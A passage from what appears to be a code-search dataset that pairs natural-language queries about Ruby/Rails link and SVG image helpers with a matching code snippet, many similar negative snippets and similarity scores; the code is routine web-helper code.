"def format_examples\n examples.\n map {|title, body|\n [\n \"#{ title }:\",\n body.lines.map {|l|\n # only indent non-empty lines\n # makes compacting newline sequences easier (see below)\n if l.match(/^\\s*$/)\n l\n else\n ' ' + l\n end\n },\n ''\n ]\n }.\n flatten.\n join(\"\\n\").\n # compact newline sequences\n gsub(/\\n\\n+/, \"\\n\\n\")\n end",
"def formatAPA\n (prettyOutput(@authors.map { |x| x.to_s }) + \"(\" + @datee.year.to_s + \") \" + @title +\n \"\\n\\t(\" + @edition.to_s + \") \" +\n \"(\" + @editionnumber.to_s + \") \" +\n @url)\n end"
] | [
"0.6643694",
"0.6355451",
"0.6085365",
"0.60843813",
"0.60843813",
"0.6040165",
"0.60256976",
"0.6025095",
"0.5960897",
"0.58909446",
"0.5823",
"0.58066446",
"0.5805102",
"0.57892996",
"0.57788354",
"0.5769854",
"0.570135",
"0.56535614",
"0.56459296",
"0.56459296",
"0.5631979",
"0.56102604",
"0.5608095",
"0.55981123",
"0.55202776",
"0.5498021",
"0.54881126",
"0.54770756",
"0.54531413",
"0.5449134",
"0.54467696",
"0.5436538",
"0.54188573",
"0.54171985",
"0.5411332",
"0.54056925",
"0.5361428",
"0.53570205",
"0.5350913",
"0.533328",
"0.5327392",
"0.5323069",
"0.532054",
"0.53081346",
"0.53073484",
"0.5297257",
"0.52798617",
"0.52768713",
"0.5267627",
"0.52582234",
"0.52389216",
"0.522905",
"0.52266717",
"0.5209742",
"0.5201536",
"0.5201536",
"0.51746386",
"0.51738733",
"0.5170954",
"0.51596516",
"0.5138994",
"0.51349497",
"0.5132142",
"0.51307505",
"0.51297665",
"0.51279503",
"0.5126267",
"0.510407",
"0.51029694",
"0.5099371",
"0.50779814",
"0.50679684",
"0.5039694",
"0.5039407",
"0.5035414",
"0.5031248",
"0.5027925",
"0.50255424",
"0.5022449",
"0.50211924",
"0.5018478",
"0.50181997",
"0.50135964",
"0.5013501",
"0.5012789",
"0.5012336",
"0.5007359",
"0.5003376",
"0.4996273",
"0.49942487",
"0.49942487",
"0.4992552",
"0.49906033",
"0.49895874",
"0.49822345",
"0.49782485",
"0.49724633",
"0.49697313",
"0.4960148",
"0.4958219"
] | 0.6755102 | 0 |
Link helper takes a URL and outputs a link with a custom label with http and www stripped out | def link_helper(url)
# set up another variable for the link
link = url
# add http if missing from url
if !url.include?("http://") && !url.include?("https://")
url = "http://" + url
end
# strip out http/https from link
if link.include?("http://") || link.include?("https://")
link = link.split("://")[1]
end
# strip out the www from the link
link = link.split("www.")[1] if link.include?("www.")
# remove trailing slash
link = link[0..(link.length - 2)] if link[link.length - 1].eql?("/")
# return a link_to with the final link and url
link_to(link, url)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def link_to (label, url)\n \"<a href='#{url}'>#{label}</a>\"\n end",
"def link\n Html::Link.new(:href => url) << display_name\n end",
"def external_link(label, path, **opt, &block)\n opt[:target] = '_blank' unless opt.key?(:target)\n make_link(label, path, **opt, &block)\n end",
"def build_link\n @label ||= ''\n return label if link.nil?\n return link_to(label, link)\n end",
"def link(url, title) # :nodoc:\n \"[#{title}](#{url})\"\n end",
"def link_to_external url ,link_label\n link_to \"#{link_label}\" ,\"#{url}\" , :target=>'_blank'\n end",
"def linkify(str)\n\t\t\tstr.gsub( %r{http://[^\"\\s]+} ) do |url|\n\t\t\t\tshort = url.gsub(%r{^.*#{Regexp.quote(request.host_with_port)}}, '')\n \t\t\"<a href='#{url}'>#{short}</a>\"\n\t\t\tend\n\tend",
"def to_link(text)\n URI::encode(@base_url + text.strip.gsub(/\\s+/, @space_replacement))\n end",
"def link aUrl, aName = nil, aTitle = nil\n aName ||= aUrl\n %{<a href=\"#{aUrl}\"#{%{ title=\"#{aTitle}\"} if aTitle}>#{aName}</a>}\n end",
"def link() url; end",
"def link() url; end",
"def make_link(url, text)\n return (\"[#{text}|#{url}]\")\n end",
"def link_to_page_with_label(label)\n return (\"<a href='/chefs/\" + self.id.to_s + \"'>\" + label + \"</a>\").html_safe\n end",
"def link(link, title, content)\n \"#{content} (#{link})\"\n end",
"def link(link, title, content)\n\t \"<u><link href='#{link}'>#{content}</link></u>\"\n\t end",
"def link_to(url, text = nil, label = nil, attributes = {})\n if label.is_a?(Hash)\n attributes = label\n label = nil\n end\n if text.is_a?(Model) || text.is_a?(Class) && text.ancestors.include?(Model)\n text.link_for(url, label, attributes)\n elsif url.is_a?(Model) || url.is_a?(Class) && url.ancestors.include?(Model)\n url.link_for(url, text, attributes)\n else\n tag(:a, text, attributes.merge(href: url))\n end\n end",
"def link(link, title, content)\n if no_links\n content\n else\n # \"<a href=\\\"#{DashboardRouter.normalize(link)}\\\" target=\\\"_top\\\">#{content}</a>\"\n \"<a href=\\\"#{link}\\\">#{content}</a>\"\n end\n end",
"def handle_special_HYPERLINK(special)\n url = special.text\n gen_url url, url\n end",
"def gen_url(url, text)\n if url =~ /([A-Za-z]+):(.*)/ then\n type = $1\n path = $2\n else\n type = \"http\"\n path = url\n url = \"http://#{url}\"\n end\n\n if type == \"link\" then\n url = if path[0, 1] == '#' then # is this meaningful?\n path\n else\n self.class.gen_relative_url @from_path, path\n end\n end\n\n if (type == \"http\" or type == \"link\") and\n url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n \"<img src=\\\"#{url}\\\" />\"\n else\n \"<a href=\\\"#{url}\\\">#{text.sub(%r{^#{type}:/*}, '')}</a>\"\n end\n end",
"def mk_link(url, css, title)\n abbrev_title = title.nil? ? OY::Markup.markup_abbrevs[File.extname(url)[1..-1].to_sym] : title\n %Q(<a href='#{url.downcase}' class='oy-link #{css}'>#{abbrev_title}</a>)\n rescue\n mk_link(url, css, \"NIL\")\n end",
"def link(opts)\n \"#{opts[:name]} !LINK_OPEN_TAG!#{opts[:href]}!LINK_CLOSE_TAG!\"\n end",
"def link_to(title, path, opts={}, base=true)\n unless is_uri?(path) || base == false\n path = url(path)\n end\n \n return \"<a href=\\\"#{path}\\\"#{parse_options(opts)}>#{title}</a>\"\n end",
"def gen_url url, text\n if url =~ /^rdoc-label:([^:]*)(?::(.*))?/ then\n type = \"link\"\n elsif url =~ /([A-Za-z]+):(.*)/ then\n type = $1\n else\n type = \"http\"\n end\n\n if (type == \"http\" or type == \"https\" or type == \"link\") and\n url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n ''\n else\n text.sub(%r%^#{type}:/*%, '')\n end\n end",
"def link(link, title, content)\n link = OodAppkit.files.api(path: @app_path.to_s + '/' + link).to_s if @app_path && relative?(link)\n return \"<a href=\\\"#{link}\\\" rel=\\\"noopener\\\" target=\\\"_blank\\\">#{content}</a>\" unless id_link?(link)\n return \"<a href=\\\"#{link}\\\">#{content}</a>\"\n end",
"def link(text, url = nil)\n if url.nil?\n colorize(text, :red, :bold)\n else\n \"#{text} (#{colorize(url, :blue, :bold)})\"\n end\n end",
"def link_to_post (post, label = nil)\n label ||= post.title\n \"<a href='/#{post.slug}'>#{label}</a>\"\n end",
"def linkify(options = {})\n url = options[:value].first\n link_to url, url\n end",
"def linkify(text)\n text.gsub(URL_REGEXP, '<a href=\"\\0\">\\0</a>') rescue text\n end",
"def link(text, url = nil)\n url = text if url.nil?\n tag(:a, text, :href => url)\n end",
"def link_to(body, url)\n \"[#{body}](#{url})\" if !AIPP.options.check_links || url_exists?(url)\n end",
"def link\n '-'\n end",
"def link(url, title) # :nodoc:\n warn \"link called from #{self.inspect}\"\n \"[#{title}](#{url})\"\n end",
"def link_to text, href\n \"[#{text}](#{href})\"\n end",
"def extern_link(text, url)\n\n link_to(text, url, target: '_blank', rel: 'no-follow') +\n link_to(content_tag(:sup, icon('fas', 'external-link-alt', class: 'external-link')),\n url, target: '_blank', rel: 'nofollow')\n end",
"def link_to(name, url, options = {}); end",
"def to_link(href_str, label, class_str = nil)\n a = %(<a href=\"#{href_str}\")\n a += %( class=\"#{class_str}\") if class_str.present?\n a + \">#{label}</a>\"\n end",
"def _link(attribute, text=nil)\n link = \"##{attribute}\"\n %{<a href=\"#{link}\">#{text || attribute}</a>}\nend",
"def display_link\n link.sub(SCHEME_PATTERN, '').truncate(48) if link\n end",
"def url_for_link( project, opts )\n if (opts[:link])\n (opts[:link] =~ /^(https?:\\/\\/|\\/)/i) ? opts[:link] : url_for_page( project, opts.update(:page_name => opts[:link]) )\n end\n end",
"def text_url\n link_uri\n end",
"def urls_to_links(s)\n urls = /((https?:\\/\\/|www\\.)([-\\w\\.]+)+(:\\d+)?(\\/([\\w\\/_#:\\.\\-\\%]*(\\?\\S+)?)?)?)/\n s.gsub(urls) {\n url = text = $1\n url = \"http://#{url}\" if $2 == 'www.'\n if $1[-1..-1] == '.'\n url = url.chop\n text = text.chop\n '<a rel=\"nofollow\" href=\"'+url+'\">'+text+'</a>.'\n else\n '<a rel=\"nofollow\" href=\"'+url+'\">'+text+'</a>'\n end\n }\nend",
"def link_to_icu(label, path=\"\", style=\"external\")\n link_to label, \"http://www.icu.ie/#{path}\", target: \"_icu_ie\", class: style\n end",
"def link(_link, _title, content)\n content.to_s\n end",
"def html_link(item)\n tag :a, yield, :href => item.url\n end",
"def pdef_replace_link(txt)\n # NOTE: it works with only link\n link_url = nil\n str_after = ''\n str_before = ''\n aa = txt.split('link:')\n if aa.size == 2\n aa[1].lstrip!\n bb = aa[1].index(/[\\)\\, ]/)\n link_url = aa[1][0..bb - 1]\n str_after = aa[1][bb..-1]\n str_before = aa[0]\n end\n\n if link_url\n str_link = \"<c:alink uri=\\\"#{link_url}\\\">#{link_url.gsub(\"http://\", \"\")}</c:alink>\"\n str_res = str_before + str_link + str_after\n else\n return txt\n end\n end",
"def link_url(url, title = T.unsafe(nil), params = T.unsafe(nil)); end",
"def linkify(url, text)\n if ENV['BUILDKITE']\n \"\\033]1339;url='#{url}';content='#{text}'\\a\"\n else\n \"#{text}: #{url}\"\n end\n end",
"def link_url(url, title = T.unsafe(nil), params = T.unsafe(nil)); end",
"def gen_url url, text\n scheme, url, id = parse_url url\n\n if %w[http https link].include?(scheme) and\n url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n \"<img src=\\\"#{url}\\\" />\"\n else\n if scheme != 'link' and %r%\\A((?!https?:)(?:[^/#]*/)*+)([^/#]+)\\.(rb|rdoc|md)(?=\\z|#)%i =~ url\n url = \"#$1#{$2.tr('.', '_')}_#$3.html#$'\"\n end\n\n text = text.sub %r%^#{scheme}:/*%i, ''\n text = text.sub %r%^[*\\^](\\d+)$%, '\\1'\n\n link = \"<a#{id} href=\\\"#{url}\\\">#{text}</a>\"\n\n link = \"<sup>#{link}</sup>\" if /\"foot/ =~ id\n\n link\n end\n end",
"def handle_regexp_HYPERLINK(target)\n url = target.text\n\n gen_url url, url\n end",
"def to_link\n \"<a href=\\\"#{self.url}\\\">#{self.name}</a>\"\n end",
"def make_link(label, path, **opt, &block)\n label = opt.delete(:label) || label if opt.key?(:label)\n named = accessible_name?(label, **opt)\n title = opt[:title]\n new_tab = (opt[:target] == '_blank')\n sign_in = has_class?(opt, 'sign-in-required')\n http = path.is_a?(String) && path.start_with?('http')\n\n opt = add_inferred_attributes(:a, opt)\n hidden = opt[:'aria-hidden']\n disabled = opt[:'aria-disabled']\n\n opt[:'aria-label'] = title if title && !named\n opt[:tabindex] = -1 if hidden && !opt.key?(:tabindex)\n opt[:tabindex] = 0 if sign_in && !opt.key?(:tabindex)\n opt[:rel] = 'noopener' if http && !opt.key?(:rel)\n append_tooltip!(opt, NEW_TAB) if new_tab && !disabled\n\n link_to(label, path, html_options!(opt), &block)\n end",
"def website_link\n return unless website?\n\n @website_link ||= website.split(\"//\")[1].sub(/^www\\./, \"\")\n end",
"def my_auto_link(text, href_options = {})\n extra_options = tag_options(href_options.stringify_keys) || \"\"\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\"#{extra_options}>#{text}</a>#{d})\n end\n end\n end",
"def reformat_link\n reg = /^https?:\\/\\//\n link = self.link\n if link.present? && !link.match(reg)\n link.insert(0,\"http://\")\n end\n self.link = link\n end",
"def unlink(text)\n return text.html_safe if text =~ /<a / # They already linked it.\n text.gsub(URI::ABS_URI) { |match|\n if match.size < 20\n \"<a href=\\\"#{match}\\\">#{match}</a>\"\n else\n host = URI::parse(match).host\n \"<a href=\\\"#{match}\\\">#{host}</a>\"\n end\n }.html_safe\n end",
"def link uri\n self.apply_hyperlink java.net.URI.new(uri)\n end",
"def link_text\n name\n end",
"def link\n return slug = self.header_content(:slug) ? slug : sanitize_filename(self.name) << \".html\"\n end",
"def link_for_web_interface(item)\n url = url_for_web_interface(item)\n if url.blank?\n return display_name(item)\n else\n return link_to(display_name(item), url)\n end\n end",
"def link_to( title, href )\n \"<a href='#{href}'>#{title}</a>\"\nend",
"def external_link(link_label, url, options={})\n attributes = options[:attributes] || {}\n children = options[:children] || {}\n image = options[:image] || {}\n\n img =\"\"\n unless image.empty?\n img = self.external_image(image[:url], image, true) \n end\n\n child_elements = self.children_list(children) << img\n link_label = self.tag('label', link_label)\n url = self.tag('url', url)\n link = self.tag('externalLink', url << link_label << child_elements, attributes)\n\n cell = options[:cell] || {}\n row = options[:row] || {}\n self.row_cell(link, cell, row)\n end",
"def link\n \"<a href='http://www.mailgun.com/'>Mailgun</a>\"\n end",
"def compose(link)\n s = shortener.shorten(link.url)\n \"#{link.title}\\n#{s.short_url}\"\n end",
"def link\n # => slug_link(self.name)\n if self.weiterleitung && self.externer_link && !self.externer_link.blank?\n self.externer_link\n elsif self.verteiler\n '#'\n else\n if self.ueber_seite\n full_slug.to_slash\n else\n slug.to_slash\n end\n end\n end",
"def text_link(label,options={})\n options[:label]=label\n set RGhost::TextLinkIn.new(options)\n end",
"def linkify( text )\n s = text.to_s\n s.gsub!( @generic_URL_regexp, '\\1<a href=\"\\2\">\\2</a>' )\n s.gsub!( @starts_with_www_regexp, '\\1<a href=\"http://\\2\">\\2</a>' )\n s.gsub!( @starts_with_ftp_regexp, '\\1<a href=\"ftp://\\2\">\\2</a>' )\n s.gsub!( @email_regexp, '\\1<a href=\"mailto:\\2@\\3\">\\2@\\3</a>' )\n s\nend",
"def sexy(body)\n body.gsub(URL_MATCHER, link_to(\"http://\\\\2\", \"http://\\\\2\", :target => \"_blank\"))\n end",
"def turn_bare_urls_into_links(str)\n Rinku.auto_link(str) do |text|\n \"<i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i> #{text}\"\n end\n end",
"def sniph_source(sniph)\n label = []\n if sniph.title.present?\n label << sniph.title\n label << content_tag(:span, \"(#{sniph.url.domain_without_www})\", :class => 'domain')\n else\n label << truncate(sniph.url.remove_http_and_www, :length => 70)\n end\n \n \n link_to(\n label.join(\" \").html_safe,\n sniph.url,\n :class => \"faviconic\",\n :style => \"background-image:url('#{sniph.url.domain_without_www.favicon_url_for_domain}')\"\n )\n \n end",
"def link\n @link ||= uri.to_s\n end",
"def link_to(*arguments)\n return super if defined?(super)\n \n # What follows is a very simplistic implementation of link_to\n link_text, url, html_options = arguments[0..2]\n html_options[:href] = url\n attr_string = html_options.keys.sort.map do |attribute|\n '%s=\"%s\"' % [Rack::Utils.escape_html(attribute), Rack::Utils.escape_html(html_options[attribute])]\n end.join(' ')\n \n # Compose the tag\n return \"<a %s>%s</a>\" % [attr_string, Rack::Utils::escape_html(link_text)]\n end",
"def relative_link(link)\n # REMEMBER TO ADD ROUTES TO HANDLE THESE LINKS\n link.gsub!(@base, \"\").gsub!(\".html\", \"\").gsub!(\"-\", \"_\")\n end",
"def process_page_link_tag(tag)\n parts = tag.split(' ')\n\n url, *descp = parts\n title = descp.join(\" \")\n\n alternatives = Repos.alternatives(*url.split(\"/\"))\n\n base_link, add_links = [], []\n\n extern_url = url =~ /^https?:/\n\n url = \"/#{url}\" if not url[0..0] == \"/\" and not extern_url\n title = url if title.empty?\n\n if extern_url\n return %Q{<a href=\"#{url}\">#{title}</a>}\n elsif tag =~ /^mailto:/\n return %Q{<a href=\"#{tag}\">#{tag.split(\":\")[1..-1]}</a>}\n end\n\n if not alternatives.empty?\n alternatives.each_pair do |ext, file|\n if ext == defext # find page with default extension\n\n base_url =\n if alternatives.size > 1\n # add extension for base_url unless given\n url !~ /\\.#{ext}$/ ? \"#{url}.#{ext}\" : url\n else url end\n\n base_link << [base_url, file]\n else\n add_links << [\"#{url}.#{ext}\", file]\n end\n end\n else\n # not existing page\n base_link << [url, nil]\n end\n\n # sort links by extension\n add_links = add_links.sort_by{|link, file| File.extname(file) }\n\n if base_link.empty?\n base_link << add_links.shift\n end\n\n title = title[1..-1] if title[0..0] == \"/\"\n base_link.map!{|url, _| mk_link(url, (alternatives.empty? ? \"o\" : \"x\"), title) }\n add_links.map!{|url, _| mk_link(url, 'alt', nil) }\n\n ret = base_link.join\n unless add_links.empty?\n ret << \" <span class='alts'><sup>(%s)</sup></span>\" % add_links.join(\", \")\n end\n ret\n end",
"def render_link_to_external_resource(args = {})\n scalar_value = !(args[:value].is_a? Array)\n link_label = args[:config].link_label || \"See also\"\n link_label = \"#{link_label} <span class=\\\"fa fa-external-link\\\"></span>\".html_safe\n links = Array(args[:value]).map {|url| link_to(link_label, url, target: '_blank') }\n scalar_value ? links.first : links\n end",
"def link(tag)\n apply_uri_template @tag_link_template, tag: safe_parameterize(tag)\n end",
"def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\n end\n end\n end",
"def link(link, title, content)\n\t\tif (title)\n\t\t\treturn \"title : [#{content}|#{link}]\"\n\t\telse\n\t\t\treturn \"[#{content}|#{link}]\"\n\t\tend\n\tend",
"def handle_special_HYPERLINK(special); end",
"def make_link(source:, link:)\n @output.item @i18n.t('setup.ln', target: link, source: source)\n FileUtils::rm link if (File::symlink? link and not File::exist? link)\n FileUtils::ln_s source, link unless File::exist? link\n end",
"def get_hyperlink(row)\n URI.join(native_host, row.dig('uri')).to_s\n end",
"def link_to_book(book)\n # If a custom domain hasn't been specified, return the default github pages url.\n if book.domain.nil? || book.domain.empty?\n get_github_pages_url(book)\n else\n # A custom domain has been specified.\n return 'http://' + Rack::Utils.escape_html(book.domain)\n end\n end",
"def href\n @title.gsub(/[^a-zA-Z0-9]+/, '-')\n end",
"def view_url(url='', max_size=30)\n rexp = /(http|https):\\/\\/[a-z0-9]+([\\-\\.]{1}[a-z0-9]+)*/ix\n\n if rexp.match(url)\n link_to h(url.etc max_size), url, :title => \"Go to #{url}\", :popup => true\n else\n content_tag :span, :title => \"#{url}\" do\n url.etc max_size\n end\n end\n end",
"def link_name\n title\n end",
"def click_through_link\n\t\treturn '/items/' + self.items.first.slug if !self.items.first.blank?\n\t\treturn '/blog/' + self.blogs.first.slug if !self.blogs.first.blank?\n\t\treturn \"#\"\n\tend",
"def short_url\n return nil if url.nil?\n url.gsub(\"http://\",\"\").gsub(\"www.\", \"\")\n end",
"def link\n inclusion.strip\n end",
"def link\n # TODO: URL escape links\n if top_level? && (!is_a? SiteDir)\n name\n else\n if is_a? SiteDir # TODO: do a dynamic renderable test?\n top_level? ? \"dropsite/#{@path}.html\" : \"#{@path}.html\".sub(/^\\//, '')\n else\n # Builds a link back up to the file in Public root since the pages\n # are built in a parallel directory structure\n dirs_up = @path.split(File::SEPARATOR).size - 1\n (['..'] * dirs_up).join('/') + \"/#{@path}\"\n end\n end\n end",
"def create_crumb_link(uri,text,end_of_trail)\n link = \"\"\n if end_of_trail\n #link = link_to(text.to_s, uri.to_s, :style=>\"font-weight: bold\")\n link = render :inline=>\"<strong>#{text}</strong>\"\n else\n link = link_to(shrink_text(text.to_s), uri.to_s)\n end\n return link\n end",
"def link_wikipedia(term, desc)\n # query = Rack::Utils.escape(\"site:wikipedia.org #{term}\")\n # href = \"http://google.com/?q=#{query}\"\n term = Rack::Utils.escape(term)\n tag(:a, desc, :href => \"http://en.wikipedia.org/w/#{term}\", :class => 'wiki-link-external')\n end",
"def link(target)\n File.join(site.url, target)\n end",
"def do_url (name)\n name.to_s.downcase.gsub(' ', '_')\n end",
"def handle_special_HYPERLINK(special) # rubocop:disable Style/MethodName\n @hyperlink ? special.text : super\n end",
"def short_link\n UrlShort::IsGd.shorten @link\n end",
"def link(_content, _url)\n raise NotImplementedError\n end",
"def text_parse_links\n text.gsub(/((\\w+\\.){1,3}\\w+\\/\\w+[^\\s]+)/) {|x| is_tld?(x) ? \"<a href='http://#{x}'>#{x}</a>\" : x}\n end",
"def link_and_format(text, options = {})\n simple_format(auto_link(text, :html => {:target => '_blank'}), options)\n end",
"def convert_urls_to_links(text)\n # url = /(((file|gopher|news|nntp|telnet|http|ftp|https|ftps|sftp):\\/\\/)|(www\\.))+(([a-zA-Z0-9\\._-]+\\.[a-zA-Z]{2,6})|([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}))(\\/[a-zA-Z0-9\\&%_\\.\\/-~-]*)?/\n # url = /( |^)http:\\/\\/([^\\s]*\\.[^\\s]*)( |$)/\n\n # while text =~ url\n # name = $2\n # text.sub! /( |^)http:\\/\\/#{name}( |$)/, \" <a href='http://#{name}' >#{name}</a> \"\n # end\n\n Rinku.auto_link(text)\n end",
"def generic_link(options = {})\n field_data = options[:value]\n contents = field_data.map do |item|\n json = JSON.parse item\n link_to json['text'], json['url']\n end\n content_tag 'span', contents.join('<br>'), nil, false\n end"
] | [
"0.74292344",
"0.69627106",
"0.68916947",
"0.6874132",
"0.6842955",
"0.6818617",
"0.68048346",
"0.67558837",
"0.66976136",
"0.66417",
"0.66417",
"0.66399485",
"0.66192704",
"0.6571805",
"0.65665644",
"0.6544465",
"0.6539952",
"0.65295047",
"0.65069044",
"0.6494934",
"0.64942414",
"0.6491123",
"0.64907956",
"0.6471887",
"0.64637065",
"0.6452106",
"0.64462113",
"0.64232254",
"0.64217836",
"0.6421405",
"0.64033794",
"0.63658565",
"0.6354917",
"0.6354878",
"0.6337849",
"0.6337832",
"0.6327631",
"0.6304611",
"0.63013315",
"0.6276722",
"0.62700444",
"0.62646574",
"0.6260823",
"0.6253319",
"0.62286144",
"0.62256896",
"0.62251556",
"0.6224817",
"0.6219232",
"0.6205909",
"0.61942863",
"0.6175047",
"0.61697406",
"0.61668485",
"0.61564213",
"0.614787",
"0.6131739",
"0.612154",
"0.6121317",
"0.61016095",
"0.6101149",
"0.6081069",
"0.60775506",
"0.6072949",
"0.60701746",
"0.60693455",
"0.6068645",
"0.60673195",
"0.6063744",
"0.60505486",
"0.60427266",
"0.6042654",
"0.6041493",
"0.6040744",
"0.603925",
"0.60381573",
"0.60264564",
"0.6020231",
"0.6015655",
"0.6015285",
"0.6003754",
"0.6000386",
"0.5997761",
"0.5993086",
"0.5984906",
"0.59776413",
"0.59579664",
"0.5956798",
"0.59550595",
"0.5950055",
"0.5938155",
"0.59369886",
"0.592918",
"0.5922721",
"0.5918592",
"0.5917795",
"0.5917158",
"0.591622",
"0.59136623",
"0.5911432"
] | 0.7181887 | 1 |
SVG Image Helper Converts a dragonflystored SVG image to inline SVG with a missing asset fallback. | def svg_image(image)
raw image.data
rescue Dragonfly::Job::Fetch::NotFound
"Image missing"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def inline_svg(path)\n file = File.open(\"public/images/#{path}\", \"rb\")\n file.read\n end",
"def image file, opts = {}\n # FIXME handle case when SVG is a File or IO object\n if ::String === file && (file.downcase.end_with? '.svg')\n opts[:fallback_font_name] ||= default_svg_font if respond_to? :default_svg_font\n svg((::IO.read file), opts)\n else\n _initial_image file, opts\n end\n end",
"def svg(s)\n convert(s, mime: 'image/svg+xml')\n end",
"def inline_svg(file)\n file = File.open(\"app/assets/images/svg/#{file}.svg\", \"rb\")\n raw file.read\n end",
"def svg!\n raise unless @icons.find { |i| File.extname(i) == 'svg' }\n end",
"def show_svg(path)\n File.open(\"app/assets/images/svg_img/#{path}\", \"rb\") do |file|\n raw file.read\n end\n end",
"def to_image()\n embed_svg(svg: to_svg)\n end",
"def to_svg\n image.to_s\n end",
"def add_svg(x:, y:, width:, height:, svg:)\n %{<image x=\"#{x}\" y=\"#{y}\" width=\"#{width}\" height=\"#{height}\" xlink:href='#{embed_svg(svg: svg)}' />\\n}\n end",
"def process_note_svg(svg, image_id)\n root = svg.root\n raise \"#{image_id} is not an SVG image\" unless root.name == 'svg'\n \n # Strip all attributes except for viewBox.\n raise \"#{image_id} does not have a viewBox\" unless root['viewBox']\n sizes = root['viewBox'].strip.split.map(&:to_f)\n raise \"#{image_id} has a poorly formatted viewBox\" unless sizes.length == 4\n unless sizes[0] == 0 && sizes[1] == 0\n raise \"#{image_id} has a viewBox that doesn't start at 0 0\"\n end\n\n {\n :width => sizes[2], :height => sizes[3],\n :svg => root.inner_html.strip\n }\n end",
"def embedded_svg(filename, options = {})\n doc = Nokogiri::HTML::DocumentFragment.parse(File.read(Rails.root.join('app', 'assets', 'images', filename)))\n if options[:class].present?\n doc.at_css('svg')['class'] = \"svg svg--#{File.basename(filename, '.*').parameterize} #{options[:class]}\"\n else\n doc.at_css('svg')['class'] = \"svg svg--#{File.basename(filename, '.*').parameterize}\"\n end\n raw doc\n end",
"def svg\n svg = ng_xml.at_xpath('svg')\n svg['aria-label'] = icon_label if label\n svg['role'] = role\n svg.prepend_child(\"<title>#{icon_label}</title>\") if label\n ng_xml.to_xml\n end",
"def write_png_from_svg(input, output, width, height)\n success = true\n begin\n Magick::Image.read(input).first.resize(width, height).write(output)\n rescue\n success = false\n end\n success\nend",
"def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end",
"def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end",
"def svg\n # Only recompile the SVG if it doesn't already exist\n unless File.exist? self.svg_name\n File.open(\"#{@name}.tex\", 'w') { |f| f.write document }\n # TODO Catch pdflatex errors\n system \"lib/latex2svg #{@name}\"\n end\n # Unless latex2svg was successful, use a placeholder SVG\n copy_placeholder unless File.exist? self.svg_name\n return File.read self.svg_name\n end",
"def inline_svg(filename, options = {})\n asset = sprockets.find_asset(filename)\n\n # If the file wasn't found, embed error SVG\n if asset.nil?\n return nil\n %(\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 30\"\n width=\"400px\" height=\"30px\"\n >\n <text font-size=\"16\" x=\"8\" y=\"20\" fill=\"#cc0000\">\n Error: '#{filename}' could not be found.\n </text>\n <rect\n x=\"1\" y=\"1\" width=\"398\" height=\"28\" fill=\"none\"\n stroke-width=\"1\" stroke=\"#cc0000\"\n />\n </svg>\n )\n\n # If the file was found, parse it, add optional classes, and then embed it\n else\n file = asset.source.force_encoding(\"UTF-8\")\n doc = Nokogiri::HTML::DocumentFragment.parse file\n svg = doc.at_css \"svg\"\n\n if options[:class].present?\n svg[\"class\"] = options[:class]\n end\n\n doc\n end\n end",
"def svg_filename\r\n return \"#{File.expand_path(File.dirname(File.dirname(File.dirname(File.dirname(__FILE__)))))}/templates/branding-slide.svg\"\r\n end",
"def create_svg filename, script=nil\n vis = Interpreter.new(filename, script).eval_script\n svg = vis.to_svg\n end",
"def image_url(max_size=1600)\r\n\r\n src_width = self.DELIV_OPS.svg_image.svg_width.first.to_f\r\n src_height = self.DELIV_OPS.svg_image.svg_height.first.to_f\r\n\r\n ratio = [ max_size / src_width , max_size / src_height ].min\r\n\r\n dest_width = (src_width * ratio).to_i\r\n dest_height = (src_height * ratio).to_i\r\n\r\n \"#{DIL_CONFIG['aware_region_url']}#{self.DELIV_OPS.svg_image.svg_image_path.first}&destwidth=#{dest_width}&destheight=#{dest_height}&padh=center&padv=center\"\r\n end",
"def raw_svg(path, color = nil)\n assert_type path, :String\n assert_type color, :Color unless color.nil?\n\n svg = _read_svg_file_and_recolor_paths(path, color)\n\n Sass::Script::String.new(\"'#{svg}'\")\n end",
"def set_binary_image_from_uri!\n unless SvgInlineFileExtractor.use_mini_magick?\n raise MiniMagickMissing, '#set_binary_image_from_uri! requires the MiniMagick gem to be installed.'\n end\n SvgInlineFileExtractor.with_temp_image(nokogiri_element.value) do |temp_image|\n format = SvgInlineFileExtractor.identify_image(temp_image).to_s.downcase\n nokogiri_element.value = \"data:image/#{format};base64,#{encode(temp_image)}\"\n nokogiri_element.name = 'href'\n end\n true\n end",
"def image(full_path, opts = {})\n image_name = template.add_image(full_path)\n output = '<draw:frame text:anchor-type=\"as-char\" '\n opts[:width] && output << %Q(svg:width=\"#{opts[:width]}cm\" )\n opts[:height] && output << %Q(svg:height=\"#{opts[:height]}cm\")\n output << '>'\n output << %Q(<draw:image xlink:href=\"Pictures/#{image_name}\" )\n output <<\n 'xlink:type=\"simple\" xlink:show=\"embed\" xlink:actuate=\"onLoad\"/>'\n output << '</draw:frame>'\n end",
